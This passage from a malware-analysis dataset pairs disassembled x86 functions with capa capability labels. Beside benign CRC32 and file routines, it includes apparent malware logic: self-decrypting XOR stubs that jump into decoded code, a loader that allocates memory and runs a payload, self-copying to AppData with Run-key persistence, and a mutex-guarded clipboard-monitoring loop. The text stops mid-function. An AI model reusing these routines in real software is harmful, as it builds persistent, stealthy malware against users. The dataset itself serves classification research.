joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4096c0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov edx, dword [esp + 4]
push ebx
movsx ebx, byte [esp + 0xc]
push esi
push edi
mov edi, dword [edx]
mov eax, dword [edx + 8]
mov ecx, edi
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x43da20]
shr edi, 8
xor ecx, edi
mov dword [edx], ecx
movzx ecx, cl
add ecx, dword [edx + 4]
mov esi, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [edx + 4], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x43da20]
and esi, 0xfffd
mov dword [edx + 8], eax
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
pop edi
shr eax, 8
pop esi
xor eax, ebx
pop ebx
ret

Function at 0x409730
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
cmp byte [esi + 0x2d], 0
mov eax, edi
je 0x4097b1
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x409761
cmp dword [esi + 0x40], ebx
jae 0x409761
push eax
call fcn.004210c4
add esp, 4
mov dword [esi + 0x3c], 0
cmp dword [esi + 0x3c], 0
jne 0x409779
lea eax, [ebx + ebx]
push eax
call fcn.00421260
add esp, 4
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
mov ecx, dword [esi + 0x3c]
push ebx
push edi
push ecx
call fcn.00421520
add esp, 0xc
xor edi, edi
test ebx, ebx
jbe 0x4097ae
push ebp
lea ebp, [esi + 0x30]
mov edx, dword [esi + 0x3c]
movzx eax, byte [edi + edx]
push eax
push ebp
call fcn.004096c0
mov ecx, dword [esi + 0x3c]
mov byte [edi + ecx], al
inc edi
add esp, 8
cmp edi, ebx
jb 0x409791
pop ebp
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x20]
test edx, edx
je 0x4097ea
mov ecx, dword [esi + 0x24]
lea edi, [ecx + ebx]
cmp edi, dword [esi + 0x28]
jb 0x4097d2
pop edi
mov dword [esi + 0x14], 0x30000
pop esi
xor eax, eax
pop ebx
ret 8
push ebx
push eax
add ecx, edx
push ecx
call fcn.00421520
add esp, 0xc
add dword [esi + 0x24], ebx
pop edi
pop esi
mov eax, ebx
pop ebx
ret 8
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40980b
push 0
lea edx, [esp + 0x14]
push edx
push ebx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
ret 8
pop edi
mov dword [esi + 0x14], 0x1000000
pop esi
xor eax, eax
pop ebx
ret 8
Function at 0x40a710
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40a71b
xor eax, eax
ret
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 4]
push esi
not eax
cmp edx, 8
jb 0x40a7f9
mov esi, edx
shr esi, 3
push edi
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43f2b0]
inc ecx
sub edx, 8
sub esi, 1
jne 0x40a735
pop edi
test edx, edx
je 0x40a81b
lea ecx, [ecx]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x43f2b0]
inc ecx
sub edx, 1
jne 0x40a800
not eax
pop esi
ret

Function at 0x40a820
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [edx]
movsx ecx, byte [esp + 8]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x43f2b0]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x43f2b0]
mov dword [edx + 8], ecx
ret

Function at 0x40a870
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xfffd
or eax, 2
mov edx, eax
xor edx, 1
imul edx, eax
mov al, byte [esp + 0x10]
shr edx, 8
xor al, dl
mov edx, dword [esi]
push edi
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x43f2b0]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x43f2b0]
pop edi
mov dword [esi + 8], ecx
pop esi
pop ebx
ret
Function at 0x40acf0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, ebx
imul esi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x40ad32
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 4]
push 0
lea eax, [esp + 0x18]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40ad26
mov byte [edi + 8], 1
mov eax, dword [esp + 0x14]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x40ad43
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [esp + 0x10]
push esi
push eax
push ecx
call fcn.00421520
add dword [edi + 0x1c], esi
add esp, 0xc
pop edi
mov eax, esi
xor edx, edx
pop esi
div ebx
pop ebx
ret
Function at 0x40d5a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
cmp edi, ebx
jne 0x40d5ba
pop edi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x18], ebx
je 0x40d5af
cmp dword [edi + 0x7c], ebx
je 0x40d5cd
push edi
call fcn.0040b710
add esp, 4
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
push edi
call fcn.0040b520
add esp, 0x10
test eax, eax
je 0x40d5f4
pop edi
mov eax, 0xffffff99
pop ebx
add esp, 8
ret
push esi
push 0x84
call fcn.00423998
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x40d635
push 0x4000
call fcn.00423998
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x40d641
push esi
call fcn.004226c3
add esp, 4
pop esi
pop edi
mov eax, 0xffffff98
pop ebx
add esp, 8
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x40d68d
lea eax, [esi + 4]
push eax
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.0040aaf0
add esp, 4
test eax, eax
jne 0x40d68d
mov dword [esi + 0x40], 1
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x58], ecx
mov edx, dword [edi + 0x44]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov ecx, dword [edi + 0x30]
shr ecx, 3
test cl, 1
je 0x40d6b7
mov dl, byte [edi + 0x39]
mov byte [esi + 0x80], dl
jmp 0x40d6c0
mov al, byte [edi + 0x3f]
mov byte [esi + 0x80], al
movzx ecx, byte [esi + 0x6c]
neg ecx
sbb ecx, ecx
push ebp
mov ebp, dword [esp + 0x20]
and ecx, 0xc
lea ebx, [esi + 0x70]
mov dword [esi + 0x7c], ecx
mov dword [ebx], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
test ebp, ebp
je 0x40d707
mov edi, edi
movzx eax, byte [ebp]
test al, al
je 0x40d707
push eax
push ebx
call fcn.0040a820
add esp, 8
add ebp, 1
jne 0x40d6f0
mov edx, dword [edi + 0x78]
mov eax, dword [esp + 0x14]
lea ecx, [edx + eax + 0x1e]
pop ebp
mov dword [esi + 0x3c], ecx
mov dword [esi + 8], 0
mov dword [edi + 0x7c], esi
pop esi
pop edi
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x40d9b0
Capabilities:
Get common file path

Disassembly:
push edi
mov edi, ecx
cmp dword [edi], 0
jne 0x40da82
cmp dword [edi + 4], 0xffffffff
jne 0x40da82
push esi
lea esi, [edi + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40d9e0
sub eax, edx
sar eax, 1
movzx eax, word [edi + eax*2 + 0x242]
cmp ax, 0x5c
je 0x40da16
cmp ax, 0x2f
je 0x40da16
push 0x43d298
push 0x104
push esi
call fcn.00421192
add esp, 0xc
mov esi, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x18]
cmp ebx, 1
jne 0x40da41
push 1
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40da41
pop ebx
pop esi
mov eax, 0x2000000
pop edi
ret 0xc
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push ebx
push ecx
push esi
call fcn.0040aba0
add esp, 0x10
test eax, eax
jne 0x40da63
mov eax, dword [esp + 0x18]
pop ebx
pop esi
pop edi
ret 0xc
push eax
call fcn.0040d3a0
add esp, 4
mov dword [edi], eax
neg eax
sbb eax, eax
pop ebx
and eax, 0xfffffe00
pop esi
add eax, 0x200
pop edi
ret 0xc
mov eax, 0x1000000
pop edi
ret 0xc

Function at 0x40da90
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x448e90]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
mov ebx, dword [esp + 0x41c]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
mov esi, dword [esp + 0x428]
test ebx, ebx
je 0x40dad0
push ebx
call ebp
cmp eax, 0xffffffff
jne 0x40dad0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [esi]
test ax, ax
je 0x40db7f
mov ecx, esi
mov edx, esi
movzx eax, ax
cmp ax, 0x2f
je 0x40daef
cmp ax, 0x5c
jne 0x40daf1
mov ecx, edx
movzx eax, word [edx + 2]
add edx, 2
test ax, ax
jne 0x40dae3
cmp ecx, esi
je 0x40db35
sub ecx, esi
sar ecx, 1
push edi
add ecx, ecx
mov edi, ecx
push edi
lea eax, [esp + 0x21c]
push esi
push eax
call fcn.00421520
lea edx, [esp + 0x224]
push edx
xor ecx, ecx
push ebx
mov word [esp + edi + 0x22c], cx
call fcn.0040da90
add esp, 0x14
pop edi
xor eax, eax
mov word [esp + 0xc], ax
test ebx, ebx
je 0x40db53
push ebx
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.004221fb
add esp, 0xc
push esi
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00421192
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x40db7f
push 0
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004210cf
add esp, 0x414
ret
Function at 0x4210cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x448e90]
jne 0x4210d9
repz ret
jmp fcn.0042b5f3

Function at 0x435475
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042afa9
and dword [ebp - 4], 0
cmp dword [0x44b138], 0
mov ebx, eax
jne 0x435526
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4355d7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4355d7
push eax
call fcn.0042af37
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44b138], eax
call esi
push eax
call fcn.0042af37
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44b13c], eax
call esi
push eax
call fcn.0042af37
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44b140], eax
call esi
push eax
call fcn.0042af37
pop ecx
mov dword [0x44b148], eax
test eax, eax
je 0x435526
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042af37
pop ecx
mov dword [0x44b144], eax
mov eax, dword [0x44b144]
cmp eax, ebx
je 0x43557e
cmp dword [0x44b148], ebx
je 0x43557e
push eax
call fcn.0042afb2
push dword [0x44b148]
mov esi, eax
call fcn.0042afb2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43557e
test edi, edi
je 0x43557e
call esi
test eax, eax
je 0x435575
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x435575
test byte [ebp - 0xc], 1
jne 0x43557e
or dword [ebp + 0x10], 0x200000
jmp 0x4355b7
mov eax, dword [0x44b13c]
cmp eax, ebx
je 0x4355b7
push eax
call fcn.0042afb2
pop ecx
test eax, eax
je 0x4355b7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4355b7
mov eax, dword [0x44b140]
cmp eax, ebx
je 0x4355b7
push eax
call fcn.0042afb2
pop ecx
test eax, eax
je 0x4355b7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44b138]
call fcn.0042afb2
pop ecx
test eax, eax
je 0x4355d7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4355d9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0x8c17e1dd
sub eax, 0x8bd7c577
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x9f02a640
sub dword [ebp - 0x58], 0x50b060f5
mov dword [ebp - 0x54], 0xbcbb36e9
add dword [ebp - 0x54], 0x7578155c
mov dword [ebp - 0x50], 0xd56dfba0
add dword [ebp - 0x50], 0x76de488e
mov dword [ebp - 0x4c], 0xdf918410
sub dword [ebp - 0x4c], 0xdf918410
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8111479d
sub eax, 0x80d11749
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x2ec9c07b
sub dword [ebp - 0x58], 0xba575725
mov dword [ebp - 0x54], 0xe440015b
add dword [ebp - 0x54], 0x5d2c601a
mov dword [ebp - 0x50], 0xd38f5e1f
sub dword [ebp - 0x50], 0x701ff1b3
mov dword [ebp - 0x4c], 0x97f8b525
add dword [ebp - 0x4c], 0x68074adb
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x35cf2
push 0
call eax
mov ecx, 0xb19acb94
add ecx, 0x4e6579bc
xor edx, edx
add edx, eax
mov ebx, 0xa3575454
sub ebx, 0xa316e454
add ebx, dword [ebp - 0x48]
mov edi, 0xe65ee10b
sub edi, 0x85882fd9
mov esi, dword [ebx]
sub dword [ebp - 0x14], ebx
xor esi, edi
sub dword [ebp - 0x14], esi
mov dword [edx], esi
add edx, 0x27cff3e0
sub edx, 0x27cff3dc
add ebx, 4
loop 0x401d85
add eax, 0x10813
xor ebx, ebx
add ebx, eax
add eax, 0x60b10904
sub eax, 0x60b108ff
mov ecx, 0x90cc2aa5
sub ecx, 0x908c2aa5
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401ea0
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f0f6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x460
mov eax, dword [0x430068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x220]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x4020f1
xor eax, eax
mov dword [ebp - 0x460], 0
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x45c], 7
mov word [ebp - 0x470], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f22
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x470]
call fcn.00403870
push 0x42c848
lea ecx, [ebp - 0x470]
mov dword [ebp - 4], 0
call fcn.00404a40
mov dword [ebp - 0x430], 0
xor ecx, ecx
mov dword [ebp - 0x42c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x440], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x430], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x45c]
cmp edx, 8
jb 0x401fdd
mov ecx, dword [ebp - 0x470]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401fd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40210d
push edx
push ecx
call fcn.0040c6c0
add esp, 8
xor eax, eax
mov dword [ebp - 0x460], 0
cmp dword [ebp - 0x42c], 8
mov word [ebp - 0x470], ax
lea eax, [ebp - 0x440]
cmovae eax, dword [ebp - 0x440]
push 0
push eax
mov dword [ebp - 0x45c], 7
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40202c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4020b5
push 0x104
lea eax, [ebp - 0x428]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ecx
lea edx, [ebp - 0x440]
lea ecx, [ebp - 0x458]
call fcn.00403ff0
add esp, 4
lea eax, [ebp - 0x458]
cmp dword [ebp - 0x444], 8
cmovae eax, dword [ebp - 0x458]
push 0
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, dword [ebp - 0x444]
cmp edx, 8
jb 0x4020b5
mov ecx, dword [ebp - 0x458]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4020ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402112
push edx
push ecx
call fcn.0040c6c0
add esp, 8
mov edx, dword [ebp - 0x42c]
cmp edx, 8
jb 0x4020f1
mov ecx, dword [ebp - 0x440]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4020e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402117
push edx
push ecx
call fcn.0040c6c0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040c2e7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00410fdd
call fcn.00410fdd
call fcn.00410fdd
int3
Function at 0x402120
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f136
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x430068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x24c], 0
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402351
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x402345
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4021c0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x264]
call fcn.00403870
push ecx
lea edx, [ebp - 0x264]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.00404160
add esp, 4
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x402242
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402238
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40236a
push edx
push ecx
call fcn.0040c6c0
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
push ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x250], 7
lea ecx, [ebp - 0x230]
mov word [ebp - 0x264], ax
call fcn.00403ff0
mov eax, dword [ebp - 0x220]
lea ecx, [ebp - 0x230]
add esp, 4
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push 0x42c870
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x4022ec
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4022e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40236f
push edx
push ecx
call fcn.0040c6c0
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 8
jb 0x402345
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40233b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402374
push edx
push ecx
call fcn.0040c6c0
add esp, 8
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c2e7
mov esp, ebp
pop ebp
ret
call fcn.00410fdd
call fcn.00410fdd
call fcn.00410fdd
int3
Function at 0x4033a0
Capabilities:
Check mutex on windows
List drag and drop files
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x430068]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
push esi
push edi
push str.GeyZoneUpdateCheck
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
je 0x4033d9
push eax
jmp 0x403534
push str.GeyZoneUpdateCheck
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403533
test esi, esi
je 0x403533
call fcn.00401ea0
call fcn.00402120
push 0
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push 0x80000041
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov ebx, dword [sym.imp.USER32.dll_GetClipboardData]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403523
push 0xd
call ebx
mov esi, eax
test esi, esi
je 0x4034d9
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x40351d
mov ecx, edx
mov dword [esp + 0x20], 0
xor eax, eax
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403471
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x18]
call fcn.00403870
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea ecx, [esp + 0x10]
call fcn.004024a0
mov edx, dword [esp + 0x24]
cmp edx, 8
jb 0x40351d
mov ecx, dword [esp + 0x10]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4034cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403553
push edx
push ecx
call fcn.0040c6c0
add esp, 8
jmp 0x40351d
push 0xf
call ebx
mov edi, eax
test edi, edi
je 0x40351d
push 0
push 0
push 0xffffffffffffffff
push edi
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov ebx, eax
xor esi, esi
test ebx, ebx
je 0x403517
nop dword [eax + eax]
push 0x104
lea eax, [esp + 0x2c]
push eax
push esi
push edi
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
inc esi
cmp esi, ebx
jb 0x403500
mov ebx, dword [sym.imp.USER32.dll_GetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x1e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403426
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x234]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040c2e7
mov esp, ebp
pop ebp
ret 0x10
call fcn.00410fdd
int3

Function at 0x403dc0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x811c9dc5
